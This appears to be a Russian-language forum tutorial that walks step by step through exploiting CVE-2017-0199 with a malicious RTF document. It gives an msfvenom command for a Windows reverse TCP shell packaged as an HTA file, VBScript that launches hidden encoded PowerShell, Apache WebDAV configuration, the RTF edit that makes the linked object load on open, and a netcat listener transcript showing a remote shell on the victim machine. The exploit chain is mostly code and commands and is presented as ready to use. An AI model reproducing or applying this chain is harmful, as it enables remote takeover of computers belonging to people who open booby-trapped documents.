Эксплуатация CVE-2017-0199
Благодаря стало известно об эксплуатации CVE-2017-0199 в различных компаниях по распространению вирусов (например Dridex).Уязвимость заключается в использовании OLEv2-ссылок в теле документа.
Итак, а что это за объекты OLEv2? Это в основном объект (файл), который мы включаем в наш файл, и его содержимое будет загружено в документ при открытии. Короче: файл внутри файла.
Этап 1:
На первом этапе мы создадим HTA-файл (это тип файла, который является по факту html-приложением, которое способно интерпретировать Jscript\Vbscript-код).
Для примера мы назовем файл myhta.hta:
HTML:
<!DOCTYPE html>
<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<title>CVE-2017-0199</title>
<script language="VBScript">
ТУТ БУДЕТ ВАШ КОД
</script>
<hta:application id="oHTA" applicationname="CVE-2017-0199" application="yes">
</hta:application>
</head>
<body>
</body>
</html>
Теперь нам нужно сгенерировать наш vbscript-код для включения в этот hta-файл.
Код:
# msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=192.168.1.213 LPORT=21747 -f hta-psh
Код:
<script language="VBScript">
Set jkq = CreateObject("Wscript.Shell")
Set bMB = CreateObject("Scripting.FileSystemObject")
If bMB.FileExists(jkq.ExpandEnvironmentStrings("%PSModulePath%")+"..\powershell.exe") Then
jkq.Run "powershell.exe -nop -w hidden -e aQBmACgAWw...ACkAOwA="
End If
</script>
HTML:
<!DOCTYPE html>
<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<title>CVE-2017-0199</title>
<script language="VBScript">
Set jkq = CreateObject("Wscript.Shell")
jkq.Run "powershell.exe -nop -w hidden -e aQBmACgAWw...ACkAOwA="
</script>
<hta:application id="oHTA" applicationname="CVE-2017-0199" application="yes">
</hta:application>
</head>
<body>
</body>
</html>
Итак, теперь у нас есть наш hta-файл, с нашим пейлоадом в виде реверсивного шелла.
Этап 2:
Следующим шагом на необходимо создать простой RTF-документ используя Windows Word, с любым содержимым внутри. В этом примере вы можете написать "Это просто тест!" и сохранить с названием myrtf.rtf.
Хорошо. Теперь у вас имеется 2 документа, которые вы должны загрузить на веб-сервер:
Код:
/var/www/html/ms# ls
myhta.hta myrtf.rtf
Этап 3:
Настройте сервер Apache в качестве WebDAV-сервиса:
Код:
#a2enmod dav
#a2enmod dav_fs
#a2enmod dav_lock
#a2enmod headers
#service apache2 restart
Для этого откройте файл 000-default.conf расположенный по адресу /etc/apache2/sites-enabled и добавьте в конце следующие строки:
Код:
<Directory /var/www/html/ms/>
Header set Content-Type "application/rtf"
</Directory>
<Directory />
Dav on
</Directory>
Код:
service apache2 restart
Этап 4:
Теперь нам нужно создать другой RTF-файл (тот самый, который мы отправим учебной жертве) и вставить в него ссылку на внешний rtf-файл.
Создайте документ с именем research-doc.rtf и добавьте в него объект:
Английская локализация: Insert -> Object ("Create from File")
Русская локализация: Вставка -> Объект ("Создание из файла")
В имени файла добавьте URL-адрес () и отметьте "Связь с файлом/Link to file":

Сохраните файл.
Этап 5:
После того, как вы создали файл, вам необходимо отредактировать его для автоматической загрузки OLE-объекта, а именно добавить objupdate между objautlink and rsltpict в файле research-doc.rtf.
Для этого откройте файл через SublimeText или Notepad++, найдите object и проведите следующую операцию:
замените строку:
Код:
\object\objautlink\rsltpict
Код:
\object\objautlink\objupdate\rsltpict
Переходим к следующему шагу.
Этап 6:
Для этого нам нужно заменить содержимое myrtf.rtf содержимым myhta.hta, а затем изменить заголовок application content-type на hta.
Производим замену содержимого (чтение myhta.hta и перезапись myrtf.rtf):
Код:
/var/www/html/ms# cat myhta.hta > myrtf.rtf
Код:
Header set Content-Type "application/rtf"
на:
Header set Content-Type "application/hta"
Код:
service apache2 restart
Этап 7:
Создайте слушающий порт на вашем сервере и откройте документ на удаленном компьютере, имеющим соединение до сервера research-doc.rtf:
Код:
# nc -nlvp 21747
Код:
listening on [any] 21747
connect to [192.168.1.213] from (UNKNOWN) [192.168.1.217] 58028
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\System32>whoami
whoami
desktop-hae3iae\buhletxr
Примечание: если вам не нравится расширение .rtf, в вашем окончательном документе research-doc.rtf - переименуйте его, например в файл с расширением .doc, он также будет работать